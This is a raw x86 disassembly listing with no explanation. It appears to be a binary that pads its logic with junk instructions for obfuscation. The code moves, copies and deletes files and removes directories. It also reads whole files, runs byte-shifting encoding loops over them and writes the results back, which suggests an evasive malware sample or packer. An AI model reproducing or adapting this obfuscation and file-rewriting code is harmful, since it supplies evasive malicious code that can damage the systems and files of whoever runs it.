call fcn.0040fa90
lea ecx, [ebp - 0x958]
call fcn.0040f630
mov eax, dword [0x41b6fc]
push eax
push 0x41b5b4
push 0
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00414af0
push eax
push 0
lea ecx, [ebp - 0x16c]
push ecx
push 0
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00418050
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x41b5b8
lea ecx, [ebp - 0x16c]
call fcn.004100f0
push edx
and edx, esp
mov edx, 0x6413578c
mov edx, 0x12b51d56
pop edx
mov dword [ebp - 0x84], 6
jmp 0x4025e9
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0x84], eax
jae 0x40266e
mov eax, dword [ebp - 0x84]
push eax
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
sub eax, 1
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x6c
mov edx, dword [ebp - 0x84]
push edx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.00417e50
sub eax, 2
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x6c
jmp 0x4025da
push edx
sub edx, ebx
add edx, ebx
mov edx, 0x5ad65c75
sub edx, ebp
nop
pop edx
push 0x41b5bc
lea ecx, [ebp - 0x578]
call fcn.004100b0
mov dword [ebp - 0xbc], 0
jmp 0x4026a7
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0xbc], eax
jae 0x402715
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b0], esp
push 0x42045c
call fcn.0040eb10
mov edx, dword [ebp - 0xbc]
push edx
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
lea eax, [ebp - 0x970]
push eax
call fcn.004075f0
add esp, 0x20
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0x970]
call fcn.0040f630
jmp 0x402698
mov dword [ebp - 0x58], 0
jmp 0x402727
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov ecx, 0x420444
call fcn.00417e50
cmp dword [ebp - 0x58], eax
jae 0x4027f0
push ecx
mov ecx, 0x3b0230b3
mov ecx, 0x6cb57af7
or ecx, edx
pop ecx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x2d
jne 0x40277f
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x6f
push eax
mov eax, 0x1ff37e54
mov eax, 0x66c86069
sbb eax, edi
pop eax
jmp 0x4027eb
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x40
jne 0x4027b6
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x5c
push eax
or eax, esp
mov eax, 0x1874617a
and eax, edi
add eax, esi
nop
pop eax
jmp 0x4027eb
mov eax, dword [ebp - 0x58]
push eax
mov ecx, 0x420444
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4027eb
mov edx, dword [ebp - 0x58]
push edx
mov ecx, 0x420444
call fcn.0040fda0
mov byte [eax], 0x75
push esi
add esi, ebp
or esi, ebp
xor esi, esp
mov esi, 0x19b06637
nop
pop esi
jmp 0x40271e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b4], esp
push 0x42045c
call fcn.0040eb10
push 0x420444
lea eax, [ebp - 0x988]
push eax
call fcn.004075f0
add esp, 0x20
push eax
mov ecx, 0x420444
call fcn.0040fa90
lea ecx, [ebp - 0x988]
call fcn.0040f630
lea ecx, [ebp - 0x390]
call fcn.0040ef70
push eax
sub eax, edi
or eax, edi
mov eax, 0x6cb508fc
xor eax, edi
nop
pop eax
lea ecx, [ebp - 0x390]
push ecx
lea edx, [ebp - 0x1b4]
push edx
call fcn.00409c00
add esp, 8
push ebp
mov ebp, 0x16334b3a
add ebp, esp
mov ebp, 0x3e26711f
pop ebp
lea ecx, [ebp - 0x1b4]
call fcn.004144f0
movzx eax, al
test eax, eax
je 0x4029fb
push 8
lea ecx, [ebp - 0x1b4]
call fcn.004174e0
push edx
or edx, esi
add edx, ecx
mov edx, 0x1a1c2cb6
add edx, ebp
nop
pop edx
mov dword [ebp - 0xf0], 0
jmp 0x4028b8
mov ecx, dword [ebp - 0xf0]
add ecx, 1
mov dword [ebp - 0xf0], ecx
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
cmp dword [ebp - 0xf0], eax
jae 0x4028fe
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov esi, eax
mov edx, dword [ebp - 0xf0]
push edx
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov word [eax], si
push edx
mov edx, 0x486e2c98
mov edx, 0x267c1d55
or edx, esi
pop edx
jmp 0x4028a9
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push ebp
sub ebp, esp
mov ebp, 0x7a3d5f
and ebp, eax
sub ebp, esp
nop
pop ebp
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push eax
sbb eax, edi
and eax, esi
xor eax, ebp
xor eax, esp
xor eax, edx
and eax, edx
pop eax
push 0x20
lea ecx, [ebp - 0x1b4]
call fcn.00416140
push ebp
mov ebp, 0x7d41559b
mov ebp, 0x13d92595
add ebp, esi
pop ebp
push eax
mov eax, 0x61a676ce
or eax, eax
mov eax, 0x50b522b9
pop eax
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 1
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov ecx, 0x65
mov word [eax], cx
push ecx
sbb ecx, ebx
mov ecx, 0x40ac507c
or ecx, esp
and ecx, ebx
nop
pop ecx
push ecx
or ecx, ebx
add ecx, edx
mov ecx, 0x8306883
sbb ecx, ecx
nop
pop ecx
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 2
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov edx, 0x78
mov word [eax], dx
push ecx
and ecx, ecx
and ecx, ebx
mov ecx, 0x217f23f1
sub ecx, ecx
nop
pop ecx
lea ecx, [ebp - 0x1b4]
call fcn.00417e70
sub eax, 3
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040fde0
mov ecx, 0x65
mov word [eax], cx
push esi
or esi, eax
sub esi, edx
and esi, ebp
mov esi, 0x3bd21716
nop
pop esi
mov dword [ebp - 0xc0], 0
jmp 0x402a16
mov edx, dword [ebp - 0xc0]
add edx, 1
mov dword [ebp - 0xc0], edx
mov ecx, 0x420438
call fcn.00417ef0
cmp dword [ebp - 0xc0], eax
jae 0x402a84
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b8], esp
push 0x42045c
call fcn.0040eb10
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, 0x420438
call fcn.0040fe40
push eax
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
mov edx, dword [ebp - 0xc0]
push edx
mov ecx, 0x420438
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0x9a0]
call fcn.0040f630
jmp 0x402a07
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x16c]
call fcn.004100d0
mov dword [ebp - 0xf4], 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push 1
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x402af0
cmp dword [ebp - 0xf4], 5
jge 0x402af0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xf4]
add ecx, 1
mov dword [ebp - 0xf4], ecx
jmp 0x402aa0
mov dword [ebp - 0xf4], 0
push ecx
xor ecx, ebx
xor ecx, edx
mov ecx, 0x46c6485a
sbb ecx, esi
nop
pop ecx
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
lea ecx, [ebp - 0x270]
call fcn.0040ed50
mov dword [ebp - 0xf8], 0
jmp 0x402b42
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00417e70
cmp dword [ebp - 0xf8], eax
jae 0x402b9a
mov eax, dword [ebp - 0xf8]
push eax
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.0040fde0
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x270]
call fcn.00410090
push esi
add esi, eax
sbb esi, edi
mov esi, 0x345712f6
add esi, edx
nop
pop esi
jmp 0x402b33
lea ecx, [ebp - 0x152]
call fcn.0040e460
push eax
lea eax, [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x270]
call fcn.004145a0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4c0]
push edx
lea ecx, [ebp - 0x270]
call fcn.00413eb0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x378]
call fcn.0040bbd0
mov dword [ebp - 0xfc], 0
jmp 0x402bf6
mov ecx, dword [ebp - 0xfc]
add ecx, 1
mov dword [ebp - 0xfc], ecx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.00417e70
cmp dword [ebp - 0xfc], eax
jae 0x402c4c
mov edx, dword [ebp - 0xfc]
push edx
push 2
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
mov ecx, eax
call fcn.0040fde0
movzx eax, word [eax]
add eax, dword [ebp - 0x124]
mov dword [ebp - 0x124], eax
push esi
mov esi, 0x9e821fc
mov esi, 0x78844dbf
add esi, esp
pop esi
jmp 0x402be7
push eax
mov eax, 0x206a2d49
sbb eax, eax
mov eax, 0x58f60a3d
pop eax
mov dword [ebp - 0x100], 0
jmp 0x402c75
mov ecx, dword [ebp - 0x100]
add ecx, 1
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0x100]
cmp edx, dword [ebp - 0x124]
jge 0x402ca5
mov eax, dword [ebp - 0x128]
add eax, dword [ebp - 0x100]
mov dword [ebp - 0x128], eax
push esi
mov esi, 0x79060f08
mov esi, 0x43195430
sub esi, eax
pop esi
jmp 0x402c66
push ebx
mov ebx, 0x6619594d
mov ebx, 0x6c6f7843
sub ebx, edi
pop ebx
mov ecx, dword [ebp - 0x128]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.00418180
add esp, 8
lea ecx, [ebp - 0x151]
call fcn.0040e460
push eax
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x360]
call fcn.004145a0
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4c8]
push edx
lea ecx, [ebp - 0x360]
call fcn.00413eb0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x9b8]
call fcn.0040bbd0
push eax
mov ecx, 0x4203e4
call fcn.0040fc10
lea ecx, [ebp - 0x9b8]
call fcn.0040f670
push 0x800
push 0
lea ecx, [ebp - 0x31a8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x378]
call fcn.00413fd0
push eax
lea edx, [ebp - 0x11a8]
push edx
push 0x41b5c0
lea eax, [ebp - 0x31a8]
push eax
call fcn.004180a0
add esp, 0x10
push edx
and edx, ebp
add edx, ebx
mov edx, 0x7782002d
add edx, esp
nop
pop edx
lea ecx, [ebp - 0x378]
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.0040ee10
lea edx, [ebp - 0x4cc]
push edx
lea ecx, [ebp - 0x2e8]
call fcn.00414610
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.00413f20
mov edx, dword [eax]
push edx
call fcn.0040de10
add esp, 8
push 0x800
push 0
lea eax, [ebp - 0x21a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2e8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x11a8]
push ecx
push 0x41b5cc
lea edx, [ebp - 0x21a8]
push edx
call fcn.004180a0
add esp, 0x10
push esi
mov esi, 0x71ed01f6
mov esi, 0x7f0119df
add esi, eax
pop esi
lea ecx, [ebp - 0x348]
call fcn.0040ef70
lea eax, [ebp - 0x21a8]
push eax
lea ecx, [ebp - 0x348]
call fcn.0040fd00
push 1
lea ecx, [ebp - 0xb4]
call fcn.0040fe60
push eax
lea ecx, [ebp - 0x9e8]
push ecx
call fcn.004078f0
add esp, 8
push eax
push 0x41b5d8
lea edx, [ebp - 0x9d0]
push edx
call fcn.0040c1b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x348]
call fcn.004100d0
lea ecx, [ebp - 0x9d0]
call fcn.0040f670
lea ecx, [ebp - 0x9e8]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea ecx, [ebp - 0x378]
call fcn.00413fd0
push eax
call fcn.0040a1e0
add esp, 8
push esi
mov esi, 0x19372c09
add esi, ebp
sbb esi, ecx
add esi, edi
nop
pop esi
push 1
lea ecx, [ebp - 0x2e8]
call fcn.00413fd0
push eax
call fcn.0040a1e0
add esp, 8
push ebx
sub ebx, edx
and ebx, esi
or ebx, ebp
mov ebx, 0x58f26516
nop
pop ebx
push 0
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
mov ecx, 0x420408
call fcn.00413fd0
push eax
call fcn.0040abf0
add esp, 0x10
push eax
sub eax, edi
sbb eax, edi
mov eax, 0x1fe1433f
sbb eax, ebp
nop
pop eax
push 0x800
push 0
lea eax, [ebp - 0x39a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ecx
mov ecx, 0xbc37a13
mov ecx, 0x5ea632a2
sbb ecx, esi
pop ecx
mov ecx, 0x420408
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x11a8]
push ecx
push 0x41b5dc
lea edx, [ebp - 0x39a8]
push edx
call fcn.004180a0
add esp, 0x10
push eax
sub eax, esp
mov eax, 0x393d7115
mov eax, 0x3647594a
pop eax
push 0x420408
lea ecx, [ebp - 0x2d0]
call fcn.0040ee10
push esi
and esi, ebx
mov esi, 0x643548c7
add esi, edi
sbb esi, ebx
nop
pop esi
lea eax, [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00414610
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x4d8]
push edx
lea ecx, [ebp - 0x2d0]
call fcn.00413f20
mov eax, dword [eax]
push eax
call fcn.0040de10
add esp, 8
push ecx
mov ecx, 0x352e3a39
mov ecx, 0x354465a4
add ecx, esi
pop ecx
push eax
mov eax, 0x166b223a
sbb eax, ebx
sub eax, edi
sbb eax, ebp
nop
pop eax
push 0x800
push 0
lea ecx, [ebp - 0x29a8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebp
sub ebp, edx
add ebp, ebp
mov ebp, 0x2ad20c88
sbb ebp, ecx
nop
pop ebp
lea ecx, [ebp - 0x2d0]
call fcn.00413fd0
push eax
lea edx, [ebp - 0x11a8]
push edx
push str._s_s
lea eax, [ebp - 0x29a8]
push eax
call fcn.004180a0
add esp, 0x10
push esi
sbb esi, esi
mov esi, 0x5b790e6f
or esi, ebp
xor esi, edi
nop
pop esi
lea ecx, [ebp - 0x29a8]
push ecx
lea ecx, [ebp - 0x2b8]
call fcn.0040ef10
push 0x41b5f4
lea ecx, [ebp - 0x2b8]
call fcn.004100f0
lea edx, [ebp - 0x1b4]
push edx
lea ecx, [ebp - 0x2b8]
call fcn.004100d0
push ebp
sbb ebp, esp
mov ebp, 0x3ebc1407
mov ebp, 0x414a35f5
pop ebp
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebp
xor ebp, ebx
xor ebp, edx
add ebp, eax
mov ebp, 0x1853747a
nop
pop ebp
push edx
mov edx, 0x1dc52daa
mov edx, 0x76cd0926
add edx, edi
pop edx
push 1
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00413fd0
push eax
call fcn.0040abf0
add esp, 0x10
push ebp
add ebp, esi
xor ebp, edi
mov ebp, 0x31a01555
or ebp, ecx
nop
pop ebp
lea eax, [ebp - 0x11a8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [ebp - 0x31a8]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea edx, [ebp - 0x21a8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x39a8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov byte [ebp - 0xd], 1
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0xcc0]
call fcn.0040e6d0
push esi
mov esi, 0x478d7cbb
sbb esi, esi
xor esi, esi
and esi, eax
nop
pop esi
mov ecx, dword [ebp - 0xcc0]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx eax, al
test eax, eax
je 0x4062f7
push ebx
mov ebx, 0x22f20888
mov ebx, 0x74fc5816
and ebx, esi
pop ebx
push 2
push 0
push 0
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0xcd8]
push ecx
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.0040fe80
mov dword [ebp - 0x40], eax
push 0
push 0
push 0
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push ebp
mov ebp, 0x603b11ed
sub ebp, ebp
sbb ebp, edi
or ebp, edi
nop
pop ebp
mov edx, dword [ebp - 0x40]
push edx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x40]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x30]
push eax
lea ecx, [ebp - 0xcc0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xcc0]
call fcn.004141a0
push eax
mov eax, 0x52b67dfa
mov eax, 0x24806f8f
sbb eax, ecx
pop eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x670]
call fcn.0040e9a0
mov ecx, dword [ebp - 0x670]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
movzx eax, al
test eax, eax
je 0x403263
push 0x40
push 0x32
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x670]
call fcn.00415710
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40321e
push ecx
xor ecx, eax
add ecx, edi
or ecx, edx
add ecx, ebp
or ecx, edi
xor ecx, eax
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4dc], esp
lea edx, [ebp - 0x270]
push edx
call fcn.0040eb10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e0], esp
lea eax, [ebp - 0x288]
push eax
call fcn.0040eb10
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.00408890
add esp, 0x38
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00406da0
add esp, 8
push ebx
mov ebx, 0x16776069
add ebx, ecx
xor ebx, edx
xor ebx, esp
nop
pop ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e4], esp
push 0x41b3a7
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004091b0
add esp, 0x20
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x12c], 0xa
mov ecx, dword [ebp - 0x104]
push ecx
lea edx, [ebp - 0x184]
push edx
call fcn.00418180
add esp, 8
mov dword [ebp - 0x60], 0
jmp 0x40332a
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x208]
jge 0x403867
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e8], esp
push 0x41b3af
call fcn.0040ec80
mov edx, dword [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004095a0
add esp, 0x24
mov dword [ebp - 0x1b8], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4ec], esp
push 0x41b3b5
call fcn.0040ec80
push 0
mov edx, dword [ebp - 0x1b8]
add edx, 0x18
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00408670
add esp, 0x28
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x12c]
add edx, 1
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x1b8]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x20c]
sub ecx, dword [ebp - 0x130]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x130]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040ece0
push esi
sub esi, esi
mov esi, 0x170c025c
mov esi, 0x372b4ea5
pop esi
mov dword [ebp - 0x108], 0
jmp 0x40340e
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
cmp dword [ebp - 0x108], eax
jae 0x403461
mov ecx, dword [ebp - 0x108]
push ecx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov dword [ebp - 0x1bc], eax
mov edx, dword [ebp - 0x60]
add edx, 1
and edx, reloc.WS2_32.dll_closesocket
jns 0x40344c
dec edx
or edx, 0xfffffffc
inc edx
mov eax, dword [ebp - 0x1bc]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x1bc]
mov byte [edx], cl
jmp 0x4033ff
lea ecx, [ebp - 0x548]
call fcn.0040ed50
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x548]
call fcn.004173b0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x88], 0
jmp 0x4034a5
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x2a0]
call fcn.00417e50
cmp dword [ebp - 0x88], eax
jae 0x403547
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x60]
jne 0x403516
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x548]
call fcn.004160b0
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
push edx
mov edx, 0x11175156
mov edx, 0x55623e29
sub edx, esi
pop edx
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
jmp 0x403496
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x548]
call fcn.004160b0
jmp 0x403496
lea edx, [ebp - 0x548]
push edx
lea eax, [ebp - 0x5c0]
push eax
call fcn.00407290
add esp, 8
push 0x3a
push 0
lea ecx, [ebp - 0x940]
push ecx
lea ecx, [ebp - 0x5c0]
call fcn.00418000
push esi
sub esi, esp
mov esi, 0x20314e7b
and esi, edx
or esi, ebx
nop
pop esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f0], esp
lea edx, [ebp - 0x360]
push edx
call fcn.0040eb10
mov eax, dword [0x41b6e0]
push eax
push 0x3a
lea ecx, [ebp - 0xa00]
push ecx
lea ecx, [ebp - 0x5c0]
call fcn.00418000
push eax
lea edx, [ebp - 0x300]
push edx
call fcn.004075f0
add esp, 0x20
lea ecx, [ebp - 0xa00]
call fcn.0040f630
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f4], esp
lea eax, [ebp - 0x270]
push eax
call fcn.0040eb10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f8], esp
lea edx, [ebp - 0x288]
push edx
call fcn.0040eb10
lea ecx, [ebp - 0x300]
call fcn.00417e50
push eax
push 0
lea ecx, [ebp - 0x300]
call fcn.0040fda0
push eax
call fcn.00408890
add esp, 0x38
lea ecx, [ebp - 0x300]
call fcn.00417e50
push eax
push 0
lea ecx, [ebp - 0x300]
call fcn.0040fda0
push eax
call fcn.00406da0
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4fc], esp
lea eax, [ebp - 0x184]
push eax
call fcn.0040eb10
lea ecx, [ebp - 0x300]
push ecx
lea edx, [ebp - 0x590]
push edx
call fcn.004075f0
add esp, 0x20
push ecx
xor ecx, ebp
mov ecx, 0x58a1d6d
sbb ecx, edi
xor ecx, eax
nop
pop ecx
push 0x3a
lea ecx, [ebp - 0x940]
call fcn.00413f90
push eax
push 0
lea ecx, [ebp - 0x590]
call fcn.00414e00
lea ecx, [ebp - 0x590]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x590]
call fcn.00413f90
push eax
lea eax, [ebp - 0x530]
push eax
call fcn.00406fb0
add esp, 0xc
mov dword [ebp - 0x10c], 0
jmp 0x4036d7
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
lea ecx, [ebp - 0x530]
call fcn.00417e50
cmp dword [ebp - 0x10c], eax
jae 0x403745
push edi
mov edi, 0x477872da
mov edi, 0x1cf42020
and edi, edx
pop edi
mov edx, dword [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x530]
call fcn.0040fda0
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x403722
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [ebp - 0x1c0]
movsx edx, byte [ecx]
add edx, eax
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
push ebp
and ebp, edx
mov ebp, 0x21e4599f
mov ebp, 0x2cf2214e
pop ebp
jmp 0x4036c8
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x518]
call fcn.0040ed50
mov dword [ebp - 0x110], 0
jmp 0x403772
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
lea ecx, [ebp - 0x530]
call fcn.00417e50
cmp dword [ebp - 0x110], eax
jae 0x4037e0
mov edx, dword [ebp - 0x110]
push edx
lea ecx, [ebp - 0x530]
call fcn.0040fda0
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x518]
call fcn.004160b0
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x60]
jne 0x4037d5
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x4037c2
dec eax
or eax, 0xfffffffc
inc eax
push eax
lea ecx, [ebp - 0x518]
call fcn.004160b0
mov dword [ebp - 0x48], 0
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
jmp 0x403763
lea ecx, [ebp - 0x518]
call fcn.00417e50
push eax
lea ecx, [ebp - 0x518]
call fcn.00413f90
push eax
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x130]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x518]
call fcn.0040f630
lea ecx, [ebp - 0x530]
